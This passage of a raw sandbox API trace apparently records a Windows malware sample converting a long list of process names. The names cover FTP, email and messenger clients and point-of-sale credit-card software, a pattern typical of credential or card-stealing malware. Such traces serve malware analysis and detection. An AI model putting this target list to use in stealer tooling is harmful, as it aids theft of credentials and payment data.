cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="configuration smoking.exe", cchWideChar=25, lpMultiByteStr=0xf89038, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="configuration smoking.exe", lpUsedDefaultChar=0x0) returned 25 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="premises receipt along.exe", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="premises receipt along.exe", cchWideChar=26, lpMultiByteStr=0xf89038, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="premises receipt along.exe", lpUsedDefaultChar=0x0) returned 26 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trembl.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trembl.exe", cchWideChar=10, lpMultiByteStr=0xf89038, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trembl.exe", lpUsedDefaultChar=0x0) returned 10 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="contributions.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="contributions.exe", cchWideChar=17, lpMultiByteStr=0xf89038, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="contributions.exe", lpUsedDefaultChar=0x0) returned 17 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="britannicaappears.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="britannicaappears.exe", cchWideChar=21, lpMultiByteStr=0xf89038, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="britannicaappears.exe", lpUsedDefaultChar=0x0) returned 21 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radio_move_getting.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radio_move_getting.exe", cchWideChar=22, lpMultiByteStr=0xf89038, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radio_move_getting.exe", lpUsedDefaultChar=0x0) returned 22 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="steal.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="steal.exe", cchWideChar=9, lpMultiByteStr=0xf89038, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="steal.exe", lpUsedDefaultChar=0x0) returned 9 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=9, lpMultiByteStr=0xf83868, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3dftp.exe", lpUsedDefaultChar=0x0) returned 9 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=18, lpMultiByteStr=0xf838b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="absolutetelnet.exe", lpUsedDefaultChar=0x0) returned 18 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alftp.exe", lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="barca.exe", lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitkinex.exe", lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coreftp.exe", lpUsedDefaultChar=0x0) returned 11 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=7, lpMultiByteStr=0xf838b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="far.exe", lpUsedDefaultChar=0x0) returned 7 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=13, lpMultiByteStr=0xf838b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filezilla.exe", lpUsedDefaultChar=0x0) returned 13 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashfxp.exe", lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fling.exe", lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=18, lpMultiByteStr=0xf838b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foxmailincmail.exe", lpUsedDefaultChar=0x0) returned 18 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=20, lpMultiByteStr=0xf838b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gmailnotifierpro.exe", lpUsedDefaultChar=0x0) returned 20 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=7, lpMultiByteStr=0xf838b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icq.exe", lpUsedDefaultChar=0x0) returned 7 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="leechftp.exe", lpUsedDefaultChar=0x0) returned 12 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ncftp.exe", lpUsedDefaultChar=0x0) returned 9 [0033.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad.exe", lpUsedDefaultChar=0x0) returned 11 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="operamail.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="operamail.exe", cchWideChar=13, lpMultiByteStr=0xf838b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="operamail.exe", lpUsedDefaultChar=0x0) returned 13 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook.exe", lpUsedDefaultChar=0x0) returned 11 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pidgin.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pidgin.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pidgin.exe", lpUsedDefaultChar=0x0) returned 10 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scriptftp.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scriptftp.exe", cchWideChar=13, lpMultiByteStr=0xf838b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptftp.exe", lpUsedDefaultChar=0x0) returned 13 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="skype.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="skype.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="skype.exe", lpUsedDefaultChar=0x0) returned 9 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smartftp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smartftp.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smartftp.exe", lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thunderbird.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thunderbird.exe", cchWideChar=15, lpMultiByteStr=0xf838b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="thunderbird.exe", lpUsedDefaultChar=0x0) returned 15 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="totalcmd.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="totalcmd.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="totalcmd.exe", lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trillian.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trillian.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trillian.exe", lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webdrive.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webdrive.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webdrive.exe", lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="whatsapp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="whatsapp.exe", cchWideChar=12, lpMultiByteStr=0xf838b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whatsapp.exe", lpUsedDefaultChar=0x0) returned 12 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winscp.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winscp.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winscp.exe", lpUsedDefaultChar=0x0) returned 10 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="yahoomessenger.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="yahoomessenger.exe", cchWideChar=18, lpMultiByteStr=0xf838b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yahoomessenger.exe", lpUsedDefaultChar=0x0) returned 18 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active-charge.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active-charge.exe", cchWideChar=17, lpMultiByteStr=0xf838b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active-charge.exe", lpUsedDefaultChar=0x0) returned 17 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accupos.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accupos.exe", cchWideChar=11, lpMultiByteStr=0xf838b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accupos.exe", lpUsedDefaultChar=0x0) returned 11 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afr38.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afr38.exe", cchWideChar=9, lpMultiByteStr=0xf838b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afr38.exe", lpUsedDefaultChar=0x0) returned 9 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aldelo.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aldelo.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aldelo.exe", lpUsedDefaultChar=0x0) returned 10 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ccv_server.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ccv_server.exe", cchWideChar=14, lpMultiByteStr=0xf838b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccv_server.exe", lpUsedDefaultChar=0x0) returned 14 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="centralcreditcard.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="centralcreditcard.exe", cchWideChar=21, lpMultiByteStr=0xf838b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="centralcreditcard.exe", lpUsedDefaultChar=0x0) returned 21 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="creditservice.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="creditservice.exe", cchWideChar=17, lpMultiByteStr=0xf838b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="creditservice.exe", lpUsedDefaultChar=0x0) returned 17 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="edcsvr.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="edcsvr.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edcsvr.exe", lpUsedDefaultChar=0x0) returned 10 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fpos.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fpos.exe", cchWideChar=8, lpMultiByteStr=0xf838b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fpos.exe", lpUsedDefaultChar=0x0) returned 8 [0033.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isspos.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isspos.exe", cchWideChar=10, lpMultiByteStr=0xf838b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isspos.exe", lpUsedDefaultChar=0x0) returned 10 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mxslipstream.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mxslipstream.exe", cchWideChar=16, lpMultiByteStr=0xf838b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mxslipstream.exe", lpUsedDefaultChar=0x0) returned 16 [0033.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="omnipos.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 